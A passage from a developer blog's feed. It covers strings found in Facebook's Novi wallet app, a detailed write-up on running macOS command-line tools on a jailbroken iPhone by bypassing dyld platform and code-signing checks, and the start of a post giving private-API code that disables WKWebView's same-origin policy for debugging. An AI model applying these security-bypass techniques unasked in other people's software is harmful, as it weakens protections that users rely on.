I’m not sure what kind of third party this would support.</p>

<p><a href="https://twitter.com/zhuowei/status/1451648546827030531">https://twitter.com/zhuowei/status/1451648546827030531</a></p>

<p><img src="https://pbs.twimg.com/media/FCVKqLzXEA0Rx-z?format=jpg" alt="" /></p>

<h2 id="buying-bitcoin">Buying Bitcoin</h2>

<p>Facebook’s Novi wallet has text about… buying Bitcoin, for some reason:</p>

<p><a href="https://twitter.com/zhuowei/status/1451647713150480390">https://twitter.com/zhuowei/status/1451647713150480390</a></p>

<p><img src="https://pbs.twimg.com/media/FCVJ5p5WYAQYUH-?format=jpg" alt="" /></p>

<h2 id="android-strings">Android strings</h2>

<p>Here’s the <a href="https://gist.github.com/zhuowei/fb37eddd1808f31786855f3e3b847b5e">strings.xml</a> of the Novi Android APK if you want to see if there’s anything else interesting.</p>]]></content><author><name></name></author><category term="novi" /><summary type="html"><![CDATA[I tested Facebook’s new Novi digital wallet and found evidence for upcoming features, such as a debit card to access Novi balance, third-party linking with QR codes, and a way to buy Bitcoin directly from the app.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://worthdoingbadly.com/assets/blog/novi/novi.jpg" /><media:content medium="image" url="https://worthdoingbadly.com/assets/blog/novi/novi.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Jailbroken iOS can’t run macOS apps. I spent a week to find out why.</title><link href="https://worthdoingbadly.com/macappsios/" rel="alternate" type="text/html" title="Jailbroken iOS can’t run macOS apps. I spent a week to find out why." /><published>2021-06-07T00:00:00+00:00</published><updated>2021-06-07T00:00:00+00:00</updated><id>https://worthdoingbadly.com/macappsios</id><content type="html" xml:base="https://worthdoingbadly.com/macappsios/"><![CDATA[<p>I ran command line macOS tools, such as Bash and Geekbench, on a jailbroken iPhone by replacing iOS’s dyld shared cache (all of iOS’s code) with macOS’s. However, graphical apps will never work: macOS’s WindowServer won’t start, since iOS’s drivers are too different.</p>

<h1 id="introduction">Introduction</h1>

<p>On the eve of another WWDC, it’s time to reflect on the theme that has linked the past 3 WWDCs: convergence between Apple’s mobile and desktop lines.</p>

<p>In the past few years, we saw Apple unify:</p>
<ul>
  <li>design: macOS Big Sur’s iOS-inspired styling, iMacs adopting the iPhone’s square lines and colourful back</li>
  <li>hardware: Apple Silicon on iPads and Macs, Smart Keyboard and trackpad on iPads</li>
  <li>software: Catalyst and iOS apps on macOS</li>
</ul>

<p>With this unification, many were wondering: if the exact same processor can run macOS and iOS, what’s stopping jailbreakers from running macOS apps on iOS?</p>

<p>As it turns out: many things.</p>

<p>Steve Jobs famously <a href="https://daringfireball.net/2007/01/os_x">announced</a> that the iPhone “ran OS X”. After a week’s work, <a href="https://miro.medium.com/max/600/1*bAUTC-8AK9WQ3A5BaZRhXw.jpeg">we determined: that was a lie</a>. While iOS and macOS share a foundation, their driver are different enough to be incompatible.</p>

<p>Some part of the iOS kernel/drivers are shared with macOS. For example, both use the same kernel with the same Unix/Darwin foundation.</p>

<p>Thus, for running command line apps, all I needed to do was:
    - replace iOS’s dyld with a patched macOS dyld
    - replace iOS’s dyld cache with a re-signed macOS dyld cache
    - hook a few methods in the debugger</p>

<p>However, many drivers on iOS and macOS are different, even after Apple Silicon. macOS graphics code doesn’t know how to talk to iOS kernel/drivers, so graphical apps cannot run.</p>

<p>There’s also no way to replace the iOS kernel and drivers with the macOS equivalents: macOS only supports M1 devices, and no iOS devices past the iPhone X have known bootloader exploits.</p>

<p>Getting macOS apps to run on iOS would require either a multi-year unification project comparable in scope to Catalyst, or isolate macOS in a VM similar to how Mac OS 9 ran in Classic mode on early OS X.</p>

<p>Neither of these options are available for jailbreakers, but they are available for Apple. So the best option is to cross my fingers for macOS-on-iOS in tomorrow’s WWDC.</p>

<h1 id="lets-get-started">Let’s get started</h1>

<p>So what happens if I just try to run a macOS application on a jailbroken phone?</p>

<p>All my tests are done on an iPhone 12 running iOS 14.1 and the Taurine (1.0.4) jailbreak. macOS files are taken from macOS 11.4 (although I did early tests with 11.3.1).</p>

<p>If I run a macOS app directly on iOS, such as Geekbench’s command line version, it errors immediately due to missing libraries:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Phone:~ root# /usr/local/zhuowei/geekbench_aarch64
dyld: warning: could not load inserted library '/usr/lib/pspawn_payload-stg2.dylib' into hardened process because no suitable image found.  Did find:
	/usr/lib/pspawn_payload-stg2.dylib: mach-o, but not built for platform macOS
	/usr/lib/pspawn_payload-stg2.dylib: mach-o, but not built for platform macOS
dyld: Library not loaded: /System/Library/Frameworks/Carbon.framework/Versions/A/Carbon
  Referenced from: /usr/local/zhuowei/geekbench_aarch64
  Reason: image not found
zsh: abort      /usr/local/zhuowei/geekbench_aarch64
</code></pre></div></div>

<p>For apps to run, we need to provide them with all the libraries available on macOS. To do that, we need to load the macOS dyld shared cache.</p>

<h1 id="the-dyld-platform">The dyld platform</h1>

<p>The dyld shared cache is a prelinked bundle of all the libraries of on iOS or macOS. It is loaded by <code class="language-plaintext highlighter-rouge">dyld</code>.</p>

<p><code class="language-plaintext highlighter-rouge">/usr/bin/dyld</code> is the dynamic linker. When a program starts, the kernel loads that program and dyld into memory. dyld then loads all the other libraries needed by a program.</p>

<p>dyld has multiple debug options documented in <code class="language-plaintext highlighter-rouge">man dyld</code>, and its <a href="https://opensource.apple.com/source/dyld/dyld-851.27/">source</a> is available online.</p>

<p>The dyld shared cache is usually shared by all the processes running on a device, but using two dyld flags, we can ask dyld to load our own shared cache file, separate from other processes.</p>

<p>If I put a macOS shared cache on my phone, I get:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Phone:~ root# DYLD_SHARED_REGION=private DYLD_SHARED_CACHE_DIR=/usr/local/zhuowei /usr/local/zhuowei/geekbench_aarch64 
dyld: dyld cache load error: shared cache file is for a different platform
</code></pre></div></div>

<p>This check is <a href="https://github.com/apple-opensource/dyld/blob/1128192c016372ae94793d88530bc5978c1fce93/dyld3/SharedCacheRuntime.cpp#L321">performed</a> by <code class="language-plaintext highlighter-rouge">validatePlatform</code>: we can bypass it by forcing <code class="language-plaintext highlighter-rouge">MachOFile::currentPlatform</code> to return <code class="language-plaintext highlighter-rouge">Platform::macOS</code>:</p>

<p>I wasn’t able to get my <code class="language-plaintext highlighter-rouge">debugserver</code> to launch an app in suspended mode, so I <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/main/littlespawn/littlespawn.c">made</a> a tiny helper <code class="language-plaintext highlighter-rouge">littlespawn</code> tool which calls <code class="language-plaintext highlighter-rouge">posix_spawn</code> with the suspended flag.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Phone:~ root# xDYLD_SHARED_REGION=private xDYLD_SHARED_CACHE_DIR=/usr/local/zhuowei/System/Library/Caches/com.apple.dyld ./littlespawn /usr/local/zhuowei/bash 
</code></pre></div></div>

<p>This allows me to attach a debugger before dyld starts:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># debugserver 127.0.0.1:3335 --attach=bash
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zhuowei-mac:src zhuowei$ lldb /bin/bash
(lldb) target create "/bin/bash"
Current executable set to '/bin/bash' (x86_64).
(lldb) process connect connect://localhost:3335
Process 858 stopped
* thread #1, stop reason = signal SIGSTOP
    frame #0: 0x00000001025d5000 dyld`_dyld_start
dyld`_dyld_start:
-&gt;  0x1025d5000 &lt;+0&gt;:  mov    x28, sp
    0x1025d5004 &lt;+4&gt;:  and    sp, x28, #0xfffffffffffffff0
    0x1025d5008 &lt;+8&gt;:  mov    x0, #0x0
    0x1025d500c &lt;+12&gt;: mov    x1, #0x0
Target 0: (bash) stopped.
(lldb) b dyld`dyld3::MachOFile::currentPlatform
Breakpoint 1: where = dyld`dyld3::MachOFile::currentPlatform(), address = 0x00000001025fe01c
(lldb) c
Process 858 resuming
Process 858 stopped
* thread #1, stop reason = breakpoint 1.1
    frame #0: 0x00000001025fe01c dyld`dyld3::MachOFile::currentPlatform()
dyld`dyld3::MachOFile::currentPlatform:
-&gt;  0x1025fe01c &lt;+0&gt;: mov    w0, #0x2
    0x1025fe020 &lt;+4&gt;: ret    

dyld`dyld3::MachOFile::isDylib:
    0x1025fe024 &lt;+0&gt;: ldr    w8, [x0, #0xc]
    0x1025fe028 &lt;+4&gt;: cmp    w8, #0x6                  ; =0x6 
Target 0: (bash) stopped.
(lldb) thread return 1
</code></pre></div></div>

<p>by returning 1 (Mac) in currentPlatform, the cache passes dyld’s check… but now fails iOS’s code signing check.</p>

<h1 id="the-dyld-cache">The dyld cache</h1>

<p>iOS rejects the signature on an unmodified macOS dyld shared cache, even when jailbroken:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Phone:~ root# xDYLD_SHARED_REGION=private xDYLD_SHARED_CACHE_DIR=/usr/local/zhuowei/System/Library/Caches/com.apple.dyld ./littlespawn /usr/local/zhuowei/bash 
dyld: dyld cache load error: code signature registration for shared cache failed
</code></pre></div></div>

<p>Looking at the logs, we see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AMFI: '/private/var/root/osdoubler/macos/System/Library/dyld/dyld_shared_cache_arm64e' is adhoc signed.
AMFI: '/private/var/root/osdoubler/macos/System/Library/dyld/dyld_shared_cache_arm64e': unsuitable CT policy 0 for this platform/device, rejecting signature.
</code></pre></div></div>

<p>An ad-hoc signature is validated entirely in the kernel against a hard-coded list. This means that Taurine, a KPP-less jailbreak, can’t override the signature check.</p>

<p>I needed to re-sign the shared cache with a normal, developer signature. Taurine can then intercept validations and instruct the <code class="language-plaintext highlighter-rouge">amfid</code> daemon to allow the code to execute.</p>

<p>To my surprise, Xcode’s <code class="language-plaintext highlighter-rouge">codesign</code> can sign dyld caches, even though this feature is never used: the dyld cache builder always signs its own caches.</p>

<p>I wrote a <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/main/resign_dyld_cache/resign.sh">script</a> to remove the existing signature and resign the dyld cache. However, loading the new cache causes Taurine’s amfidebilitate to crash while computing the signed dyld cache’s CDHash:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kernel	EXC_RESOURCE -&gt; amfidebilitate[449] exceeded mem limit: InactiveHard 2098 MB (fatal)
kernel	1401.082 memorystatus: killing_specific_process pid 449 [amfidebilitate] (per-process-limit 3) 2331079KB - memorystatus_available_pages: 50117
kernel	AMFI: code signature validation failed.
osanalyticshelper	Process amfidebilitate [449] killed by jetsam reason per-process-limit
</code></pre></div></div>

<p>Thankfully, Taurine allows a user to <a href="https://github.com/Odyssey-Team/Odyssey/blob/7682a881ffec2c43fe3ed856215ca08e1139fe9e/amfidebilitate/amfidhook.swift#L17">precompute</a> a file’s CDHash by placing it in <code class="language-plaintext highlighter-rouge">/taurine/cstmp</code>, so I added a step to <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/c69d78f006b45874651ebec99adbf94264575174/resign_dyld_cache/resign.sh#L11">extract</a> the CDHash.</p>

<p>After placing the file, the dyld cache started to load… until the iOS dyld set the wrong memory permission on a section:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process 974 stopped
* thread #1, stop reason = EXC_BAD_ACCESS (code=2, address=0x1f53c8000)
    frame #0: 0x0000000100e85524 dyld`dyld3::loadDyldCache(dyld3::SharedCacheOptions const&amp;, dyld3::SharedCacheLoadInfo*) + 700
dyld`dyld3::loadDyldCache:
-&gt;  0x100e85524 &lt;+700&gt;: str    x8, [x21]
    0x100e85528 &lt;+704&gt;: cbnz   x22, 0x100e85500          ; &lt;+664&gt;
    0x100e8552c &lt;+708&gt;: b      0x100e85554               ; &lt;+748&gt;
    0x100e85530 &lt;+712&gt;: add    x9, x24, w8, uxtw
Target 0: (bash) stopped.
(lldb) print (void*)$x21
(void *) $1 = 0x00000001f53c8000
</code></pre></div></div>

<p>That’s fine: I just manually fixed the permission with a <code class="language-plaintext highlighter-rouge">mprotect</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(lldb) print (int)mprotect((void*)$x21, 0x10000000, 0x3)
(int) $2 = 0
</code></pre></div></div>

<p>It’s a kludge: we’re going to replace dyld later anyways. For now, this gets us past dyld into a crash in the Objective-C runtime:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7c81fb1d9a80)
    frame #0: 0x000000018fef745c libobjc.A.dylib`addClassTableEntry(objc_class*, bool) + 32
libobjc.A.dylib`addClassTableEntry:
-&gt;  0x18fef745c &lt;+32&gt;: ldr    x8, [x0, #0x20]
    0x18fef7460 &lt;+36&gt;: and    x8, x8, #0x7ffffffffff8
    0x18fef7464 &lt;+40&gt;: ldrh   w8, [x8, #0x4]
    0x18fef7468 &lt;+44&gt;: adrp   x9, 438970
Target 0: (bash) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7c81fb1d9a80)
  * frame #0: 0x000000018fef745c libobjc.A.dylib`addClassTableEntry(objc_class*, bool) + 32
    frame #1: 0x000000018fedc5d8 libobjc.A.dylib`_read_images + 2624
    frame #2: 0x000000018fedb54c libobjc.A.dylib`map_images_nolock + 2464
    frame #3: 0x000000018feecc00 libobjc.A.dylib`map_images + 92
    frame #4: 0x0000000100e65b04 dyld`dyld::notifyBatchPartial(dyld_image_states, bool, char const* (*)(dyld_image_states, unsigned int, dyld_image_info const*), bool, bool) + 1672
    frame #5: 0x0000000100e65cf0 dyld`dyld::registerObjCNotifiers(void (*)(unsigned int, char const* const*, mach_header const* const*), void (*)(char const*, mach_header const*), void (*)(char const*, mach_header const*)) + 80
    frame #6: 0x000000019004e224 libdyld.dylib`_dyld_objc_notify_register + 284
</code></pre></div></div>

<h1 id="pac">PAC</h1>

<p>The address seems odd: <code class="language-plaintext highlighter-rouge">0x7c81fb1d9a80</code> is outside of memory, but if we remove the first three digits, <code class="language-plaintext highlighter-rouge">0x1fb1d9a80</code> is an actual Objective-C class. Where did those digits come from?</p>

<p>After putting breakpoints, I found that the crashing call is the second (recursive) <code class="language-plaintext highlighter-rouge">addClassTableEntry</code> call that adds the metaclass. To do that, it <a href="https://github.com/apple-opensource/objc4/blob/a367941bce42b1515aeb2cc17020c65e3a57fa20/runtime/objc-runtime-new.mm#L534">fetches</a> the metaclass from the ISA pointer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        addClassTableEntry(cls-&gt;ISA(), false);
</code></pre></div></div>

<p>the <code class="language-plaintext highlighter-rouge">ISA</code> call <a href="https://github.com/apple-opensource/objc4/blob/21ceada3638fefd874f7cdd10901276f84e9ee31/runtime/objc-object.h#L232">strips</a> out the ISA PAC signing with a bitmask:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        clsbits &amp;= objc_debug_isa_class_mask;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>const uintptr_t objc_debug_isa_class_mask  = ISA_MASK &amp; coveringMask(MACH_VM_MAX_ADDRESS - 1);
</code></pre></div></div>

<p>which is computed at compile time. However, <code class="language-plaintext highlighter-rouge">MACH_VM_MAX_ADDRESS</code> differs on iOS and macOS, since iOS has a smaller address space and uses more bits in the pointer for PAC signatures.</p>

<p>PAC is configured by the kernel, so a macOS app running on an iOS kernel will receive more bits of PAC signature than expected, causing PAC bits to be left over in the pointer after masking.</p>

<p>The solution was simple: <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/main/resign_any_executable/build.sh">patch</a> any arm64e apps to launch as arm64 instead, disabling PAC.</p>

<h1 id="osvariant">osvariant</h1>

<p>The next crash came during libc startup:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(lldb) c
Process 1012 resuming
Process 1012 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT (code=1, subcode=0x182700e70)
    frame #0: 0x0000000182700e70 libsystem_darwin.dylib`_check_internal_content.cold.1 + 24
libsystem_darwin.dylib`_check_internal_content.cold.1:
-&gt;  0x182700e70 &lt;+24&gt;: brk    #0x1

libsystem_darwin.dylib`os_variant_has_internal_diagnostics.cold.1:
    0x182700e74 &lt;+0&gt;:  pacibsp 
    0x182700e78 &lt;+4&gt;:  stp    x29, x30, [sp, #-0x10]!
    0x182700e7c &lt;+8&gt;:  mov    x29, sp
Target 0: (bash_arm64) stopped.
(lldb) bt
</code></pre></div></div>

<p>Turns out macOS and iOS stores <a href="https://github.com/apple-opensource/Libc/blob/1e58108100bb5978535e093c14e5a3eebc666b70/libdarwin/variant.c#L108">information</a> about build info (beta/internal) in the <code class="language-plaintext highlighter-rouge">kern.osvariant_status</code> sysctl variable. The iOS version has bits set that confused macOS.</p>

<p>Solution: hook <code class="language-plaintext highlighter-rouge">sysctlbyname</code> to return a known good macOS value.</p>

<p>This was, finally, enough to run <code class="language-plaintext highlighter-rouge">bash</code> from macOS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Phone:~ root# xDYLD_SHARED_REGION=private xDYLD_SHARED_CACHE_DIR=/usr/local/zhuowei ./littlespawn /usr/local/zhuowei/bash_arm64
dyld: warning: could not load inserted library '/usr/lib/pspawn_payload-stg2.dylib' into hardened process because no suitable image found.  Did find:
	/usr/lib/pspawn_payload-stg2.dylib: mach-o, but not built for platform macOS
	/usr/lib/pspawn_payload-stg2.dylib: mach-o, but not built for platform macOS

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
%m%::%~ %n%#
</code></pre></div></div>

<p>but many other executables still fail to load, because the dyld tries to load iOS libraries from disk:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xDYLD_SHARED_REGION=private xDYLD_SHARED_CACHE_DIR=/usr/local/zhuowei DYLD_ROOT_PATH=/usr/local/zhuowei ./littlespawn /usr/local/zhuowei/WindowServer_arm64
dyld: warning: could not load inserted library '/usr/lib/pspawn_payload-stg2.dylib' into hardened process because no suitable image found.  Did find:
	/usr/lib/pspawn_payload-stg2.dylib: mach-o, but not built for platform macOS
	/usr/lib/pspawn_payload-stg2.dylib: mach-o, but not built for platform macOS
dyld: Library not loaded: /usr/lib/libpam.2.dylib
  Referenced from: /System/Library/Frameworks/Security.framework/Versions/A/Security
  Reason: no suitable image found.  Did find:
	/usr/lib/libpam.2.dylib: mach-o, but not built for platform macOS
	/usr/lib/libpam.2.dylib: mach-o, but not built for platform macOS
	/usr/lib/libpam.2.dylib: mach-o, but not built for platform macOS
	/usr/lib/libpam.2.dylib: mach-o, but not built for platform macOS
</code></pre></div></div>

<p>Even adding <code class="language-plaintext highlighter-rouge">DYLD_ROOT_PATH</code> to prefix all the search paths didn’t help.</p>

<h1 id="patching-dyld-to-prevent-loading-libraries-outside-my-dir">patching dyld to prevent loading libraries outside my dir</h1>

<p>It turns out <code class="language-plaintext highlighter-rouge">dyld</code> will always try the <a href="https://github.com/apple-opensource/dyld/blob/1128192c016372ae94793d88530bc5978c1fce93/src/ImageLoaderMachO.cpp#L1548">original, unprefixed path</a> as a last resort.</p>

<p>To bypass this, I decided to just patch <code class="language-plaintext highlighter-rouge">dyld</code>’s <code class="language-plaintext highlighter-rouge">stat64</code> method such that, if a path doesn’t begin with <code class="language-plaintext highlighter-rouge">/usr/local/zhuowei</code>, always return file not found.</p>

<p>I used a macOS dyld as a base, and added <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/main/resign_dyld/thepatch.c">the extra code</a> on <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/main/resign_dyld/thepatch_full.s">top</a> of some ClosureWriter stuff that isn’t usually used during app launch.</p>

<p>Since there’s no way to specify which <code class="language-plaintext highlighter-rouge">dyld</code> to use during app launch, I start the app suspended, then run a <a href="https://github.com/zhuowei/iOS-run-macOS-executables-tools/blob/main/dyldloader/dyldloader.c">tool</a> to replace the dyld in the app’s memory using <code class="language-plaintext highlighter-rouge">vm_remap</code>.</p>

<p>This prevented dyld from attempting to load libraries outside my little sandbox.</p>

<p>As a bonus, using a real macOS dyld instead of the iOS one lets us get rid of the <code class="language-plaintext highlighter-rouge">currentPlatform</code> breakpoint and the <code class="language-plaintext highlighter-rouge">mprotect</code> workaround.</p>

<h1 id="a-running-command-line-app">A running command line app</h1>

<p>This was enough to run Geekbench’s command line version:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Phone:~ root# xDYLD_SHARED_REGION=private xDYLD_SHARED_CACHE_DIR=/usr/local/zhuowei ./littlespawn /usr/local/zhuowei/geekbench/Geekbench\ 5.app/Contents/Resources/geekbench_aarch64 
dyld: warning: could not load inserted library '/usr/lib/pspawn_payload-stg2.dylib' into hardened process because no suitable image found.  Did find:
	/usr/lib/pspawn_payload-stg2.dylib: stat() failed with errno=78
Geekbench 5.4.1 Tryout : https://www.geekbench.com/

Geekbench 5 requires an active Internet connection when in tryout mode and 
automatically uploads benchmark results to the Geekbench Browser.

Buy a Geekbench 5 license from the Primate Labs Store to enable offline use 
and unlock other features:

  https://store.primatelabs.com/v5

Enter your Geekbench 5 license using the following command line:

  /usr/local/zhuowei/geekbench/Geekbench 
5.app/Contents/Resources/geekbench_aarch64 --unlock &lt;email&gt; &lt;key&gt;

  Running Gathering system information
System Information
  Operating System              macOS 14.1 (Build 18A8395)
  Model                         D53gAP
  Model ID                      D53gAP
  Motherboard                   D53gAP
</code></pre></div></div>

<p>The results were <a href="https://browser.geekbench.com/v5/cpu/8275456">exactly</a> 30% of a normal iPhone 12 benchmark, likely as a result of iOS throttling background processes.</p>

<h1 id="windowserver">WindowServer</h1>

<p>Command line apps run fine on iOS since the Unix API interface between a command line app and the kernel is 30 years old and doesn’t differ from macOS and iOS.</p>

<p>Unfortunately, this doesn’t apply to graphical apps, as iOS’s graphics stack and macOS’s graphics stack were developed separately over a decade.</p>

<p>Even after macOS adopted some of iOS’s features (eg IOMobileFramebuffer) as part of the Apple Silicon transition, iOS’s graphics and input drivers still present a different interface, and won’t work with a macOS userspace.</p>

<p>I tried running <code class="language-plaintext highlighter-rouge">WindowServer</code>, responsible for rendering windows on macOS, using my tools. It didn’t work, and shows how much convergence work Apple still needs to do to unify iOS and macOS.</p>

<ul>
  <li>First, it errored out because <a href="https://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-1633.100.36/IOHIDSystem/IOHIDSystem.cpp.auto.html">IOHIDSystem</a>, a driver responsible for mouse cursors and keyboard control, is completely missing on iOS. I bypassed that with <code class="language-plaintext highlighter-rouge">-virtualonly</code>, but..</li>
  <li>IOSurface looks for the <code class="language-plaintext highlighter-rouge">IOSurfaceRoot</code> driver instead of iOS’s <code class="language-plaintext highlighter-rouge">IOCoreSurfaceRoot</code>. Patched that and got…</li>
  <li>Metal looking for macOS’s <code class="language-plaintext highlighter-rouge">IOAccelerator</code> instead of iOS’s <code class="language-plaintext highlighter-rouge">IOGPU</code>. I tried forcing this, and it didn’t work.</li>
  <li>After I set breakpoints to pretend to have 0 screens, skip input initialization, and skip Metal initialization, WindowServer decided to just give up and segfault. (setting <a href="https://developer.apple.com/library/archive/documentation/Performance/Conceptual/ManagingMemory/Articles/MallocDebug.html">memory debug flags</a> suggest it’s a use-after-free error, since the address is all 0x55s. I guess it didn’t expect 0 screens?)</li>
</ul>

<p>I, too, give up.</p>

<h1 id="conclusion">Conclusion</h1>

<p>Put macOS on iPad, you <a href="https://www.theverge.com/2021/4/22/22396449/apple-ipad-pro-macbook-air-macos-2021">cowards</a>.</p>

<h1 id="what-i-learned">What I learned</h1>

<ul>
  <li>how to speedrun through writing yet another crappy Mach-O executable loader (any%, glitchless)</li>
  <li>how to deal with code signing on jailbroken iOS</li>
  <li>why Catalyst took Apple years to build</li>
  <li>if Apple ever implements reverse-Catalyst, it would probably be in a VM/Classic environment, not seamless: there’s just too many differences and not enough demand to justify another multi-year unification project</li>
  <li>I should stop doing my research in the last hours before WWDC so I’d have time to revise this post instead of uploading my first draft</li>
</ul>]]></content><author><name></name></author><category term="ios," /><category term="macos" /><summary type="html"><![CDATA[I ran command line macOS tools, such as Bash and Geekbench, on a jailbroken iPhone by replacing iOS’s dyld shared cache (all of iOS’s code) with macOS’s. However, graphical apps will never work: macOS’s WindowServer won’t start, since iOS’s drivers are too different.]]></summary></entry><entry><title type="html">Disable Same Origin Policy in iOS WKWebView with private API</title><link href="https://worthdoingbadly.com/disablesameorigin/" rel="alternate" type="text/html" title="Disable Same Origin Policy in iOS WKWebView with private API" /><published>2020-12-31T00:00:00+00:00</published><updated>2020-12-31T00:00:00+00:00</updated><id>https://worthdoingbadly.com/disablesameorigin</id><content type="html" xml:base="https://worthdoingbadly.com/disablesameorigin/"><![CDATA[<p>Safari’s Web Inspector has an option (Develop -&gt; Disable Cross Origin Restrictions) to disable the same-origin policy for debugging. This allows, for example, the <code class="language-plaintext highlighter-rouge">fetch</code> API to load any page, not limited to the same domain or CORS-enabled domains.</p>

<p><a href="https://twitter.com/zhuowei/status/1300657149635432450">Recently</a>, I had to enable this mode on an iOS WKWebView from code, without attaching the Web Inspector. My solution is probably not very useful for you, since it uses private API, but might be helpful for enterprise-signed apps or debugging.</p>

<p>Here’s how.</p>

<h2 id="the-code">The code</h2>

<p>The code can be found in this <a href="https://gist.github.com/zhuowei/0b7074b3803d72609c028ab5723d9c28">GitHub Gist</a>:</p>

<div class="language-objective_cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Allows disabling Same-Origin Policy on iOS WKWebView.</span>
<span class="c1">// Tested on iOS 12.4.</span>
<span class="c1">// Uses private API; obviously can't be used on app store.</span>

<span class="k">@import</span> <span class="n">WebKit</span><span class="p">;</span>
<span class="k">@import</span> <span class="n">ObjectiveC</span><span class="p">;</span>

<span class="kt">void</span> <span class="nf">WKPreferencesSetWebSecurityEnabled</span><span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="kt">bool</span><span class="p">);</span>

<span class="k">@interface</span> <span class="nc">WDBFakeWebKitPointer</span><span class="p">:</span> <span class="nc">NSObject</span>
<span class="k">@property</span> <span class="p">(</span><span class="n">nonatomic</span><span class="p">)</span> <span class="kt">void</span><span class="o">*</span> <span class="n">_apiObject</span><span class="p">;</span>
<span class="k">@end</span>
<span class="k">@implementation</span> <span class="nc">WDBFakeWebKitPointer</span>
<span class="k">@end</span>

<span class="kt">void</span> <span class="nf">WDBSetWebSecurityEnabled</span><span class="p">(</span><span class="n">WKPreferences</span><span class="o">*</span> <span class="n">prefs</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">enabled</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Ivar</span> <span class="n">ivar</span> <span class="o">=</span> <span class="n">class_getInstanceVariable</span><span class="p">([</span><span class="n">WKPreferences</span> <span class="nf">class</span><span class="p">],</span> <span class="s">"_preferences"</span><span class="p">);</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">realPreferences</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">prefs</span><span class="p">)</span> <span class="o">+</span> <span class="n">ivar_getOffset</span><span class="p">(</span><span class="n">ivar</span><span class="p">));</span>
    <span class="n">WDBFakeWebKitPointer</span><span class="o">*</span> <span class="n">fake</span> <span class="o">=</span> <span class="p">[</span><span class="n">WDBFakeWebKitPointer</span> <span class="nf">new</span><span class="p">];</span>
    <span class="n">fake</span><span class="p">.</span><span class="n">_apiObject</span> <span class="o">=</span> <span class="n">realPreferences</span><span class="p">;</span>
    <span class="n">WKPreferencesSetWebSecurityEnabled</span><span class="p">(</span><span class="n">fake</span><span class="p">,</span> <span class="n">enabled</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To use, just call:</p>

<p><code class="language-plaintext highlighter-rouge">WDBSetWebSecurityEnabled(prefs, true);</code></p>

<p>when constructing the WKWebView.</p>

<h2 id="how-it-works">How it works</h2>

<p><code class="language-plaintext highlighter-rouge">WKPreferences</code> has a <code class="language-plaintext highlighter-rouge">_setWebSecurityEnabled</code> method… on <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/WebKit/UIProcess/API/Cocoa/WKPreferences.mm#L1034">macOS only</a>.</p>

<p>The C++ method that it calls, <code class="language-plaintext highlighter-rouge">WebKit::WebPreferences::setWebSecurityEnabled</code>, does not seem to be exported by WebKit, so we can’t just extract the C++ <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/WebKit/UIProcess/API/Cocoa/WKPreferencesInternal.h#L41">WebKit::WebPreferences</a> object and call it directly.</p>

<p>However, iOS does include the <code class="language-plaintext highlighter-rouge">WKPreferencesSetWebSecurityEnabled</code> <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/WebKit/UIProcess/API/C/WKPreferences.cpp#L689">C API</a> which can set the variable, but it takes a <code class="language-plaintext highlighter-rouge">WKPreferencesRef</code> and not a <code class="language-plaintext highlighter-rouge">WKPreferences*</code>.</p>

<p>So, to set the variable, we need to:</p>
<ul>
  <li>Extract the C++ <code class="language-plaintext highlighter-rouge">WebPreferences</code> from the Objective-C <code class="language-plaintext highlighter-rouge">WKPreferences</code></li>
